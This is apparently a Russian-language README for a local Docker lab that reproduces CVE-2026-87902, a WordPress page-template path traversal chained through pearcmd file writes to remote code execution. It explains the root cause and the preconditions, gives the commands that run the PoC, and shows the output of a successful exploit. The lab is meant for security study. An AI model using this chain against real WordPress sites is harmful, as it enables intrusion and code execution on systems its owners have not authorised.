
Локальная лаборатория на базе Docker, воспроизводящая CVE-2026-87902 — обход пути в шаблоне страницы WordPress, приводящий к локальному включению PHP-файлов и RCE на основе PEAR, со скриптом PoC.
Локальный Docker-полигон для воспроизведения CVE-2026-87902 (обход пути при разборе шаблонов страниц WordPress → локальное включение PHP-файлов → RCE через запись файлов с помощью pearcmd).
⚠️ Только для изучения безопасности и исследований в авторизованной среде. Запускать только в локальном Docker, запрещено использовать против любых неавторизованных целей. Уязвимость была исправлена официально 2026-09-22, патчи выпущены для всех поддерживаемых веток.
get_page_template() выполняет повторный urldecode() для контролируемого пользователем параметра pagename, после чего подставляет результат в имена кандидатов шаблонов; locate_template() ищет файлы с помощью file_exists(), а перед загрузкой выполняет только проверки realpath/суффикса/читаемости, не проверяя, что путь по-прежнему находится внутри каталога темы (канонизация есть, containment отсутствует)| # | Условие | Как это выполняется в данном полигоне |
|---|---|---|
| 1 | Опубликованная страница без указанного пользовательского шаблона | setup.sh автоматически создаёт и очищает демонстрационную страницу |
| 2 | В корне активной темы есть каталог page-* | theme/mytheme/page-templates/ (активированная тема содержит этот каталог) |
| 3 | Читаемый /usr/local/lib/php/pearcmd.php | Официальный образ php содержит PEAR |
| 4 | register_argc_argv=On + записываемое место размещения | В официальном образе нет php.ini, значение по умолчанию при компиляции — On; /tmp доступен для записи |
docker compose up -d # при первом запуске автоматически загружаются образы (около 1 ГБ)
sh setup.sh # установка + размещение /flag + проверка четырёх условий
python cve-2026-87902.py --url http://127.0.0.1:8091
Ожидаемый вывод:
[*] page id : 4 (about, default template, via /index.php?rest_route=...)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
(12 раз = в конфигурационном файле PEAR 12 параметров конфигурации, в каждый встроена копия payload)
Просмотр файла, записанного PEAR на этапе stage 1 (сериализованный текст, начинающийся с #PEAR_Config 0.9, payload встроен обычными символами в 12 параметров конфигурации):
docker compose exec wordpress cat /tmp/wp-pear-rce-flag.php
register_argc_argv=On заставляет query string разбиваться по + на $argv, и pearcmd думает, что его вызвали из терминала; config-create <root> <file> записывает root (со встроенным PHP-кодом) как есть в целевой файл<?=...?> выполняется, читается /flag и выводится в ответCVE-2026-87902-POC-OK (находится в контейнере в /flag)setup.sh в Git BashПолная очистка (контейнеры + тома данных + образы):
docker compose down -v --rmi all
docker-compose.yml WordPress 7.0.2-php8.3-apache + MySQL 8.4 + wp-cli
theme/mytheme/ экспериментальная тема (содержит каталог page-templates/, условие ②)
cve-2026-87902.py PoC (из ressl/cve-2026-87902-poc, авторские права принадлежат оригинальному автору)
setup.sh установка одной командой + самопроверка четырёх условий